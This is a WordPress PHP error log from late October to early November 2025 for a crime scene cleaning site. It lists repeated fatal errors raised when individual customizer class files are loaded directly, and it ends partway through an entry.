[31-Oct-2025 19:10:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[31-Oct-2025 19:11:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[31-Oct-2025 19:28:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[31-Oct-2025 19:38:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[31-Oct-2025 19:42:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
[31-Oct-2025 20:19:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[31-Oct-2025 20:34:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[31-Oct-2025 21:08:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[31-Oct-2025 21:15:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[31-Oct-2025 21:37:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[01-Nov-2025 00:07:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[01-Nov-2025 03:18:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[01-Nov-2025 11:27:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[01-Nov-2025 11:27:16 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[01-Nov-2025 11:27:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[01-Nov-2025 11:27:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[01-Nov-2025 11:28:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[01-Nov-2025 11:29:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[01-Nov-2025 11:30:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[01-Nov-2025 11:31:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[01-Nov-2025 11:32:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[01-Nov-2025 11:33:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[01-Nov-2025 11:34:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[01-Nov-2025 11:35:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[01-Nov-2025 11:36:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[01-Nov-2025 11:37:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[01-Nov-2025 11:38:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[01-Nov-2025 11:39:44 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[01-Nov-2025 11:40:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[01-Nov-2025 11:41:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[01-Nov-2025 11:42:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[01-Nov-2025 11:43:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[01-Nov-2025 11:44:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[01-Nov-2025 11:45:58 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[01-Nov-2025 11:47:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[01-Nov-2025 11:48:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[01-Nov-2025 11:49:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[01-Nov-2025 11:50:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[01-Nov-2025 11:51:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[01-Nov-2025 11:52:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[01-Nov-2025 11:53:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[01-Nov-2025 11:54:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[01-Nov-2025 11:56:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[01-Nov-2025 12:01:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[01-Nov-2025 12:01:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[02-Nov-2025 00:52:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[02-Nov-2025 00:53:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[02-Nov-2025 00:53:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[02-Nov-2025 00:53:35 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[02-Nov-2025 00:53:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[02-Nov-2025 00:55:07 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[02-Nov-2025 00:56:08 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[02-Nov-2025 00:57:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[02-Nov-2025 00:59:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[02-Nov-2025 01:00:09 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function _deprecated_file() in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[02-Nov-2025 01:01:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[02-Nov-2025 01:02:15 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-image-control.php on line 17
[02-Nov-2025 01:03:21 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-media-control.php on line 17
[02-Nov-2025 01:04:26 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Section" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[02-Nov-2025 01:05:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[02-Nov-2025 01:06:29 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-color-control.php on line 17
[02-Nov-2025 01:07:30 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[02-Nov-2025 01:08:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[02-Nov-2025 01:09:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[02-Nov-2025 01:10:40 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[02-Nov-2025 01:11:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[02-Nov-2025 01:12:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[02-Nov-2025 01:13:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[02-Nov-2025 01:16:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
[02-Nov-2025 01:16:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[02-Nov-2025 01:18:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Panel" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[02-Nov-2025 01:19:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[02-Nov-2025 01:20:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[02-Nov-2025 01:21:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[02-Nov-2025 01:23:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Setting" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[02-Nov-2025 01:24:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[02-Nov-2025 01:25:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[02-Nov-2025 01:29:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Customize_Control" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
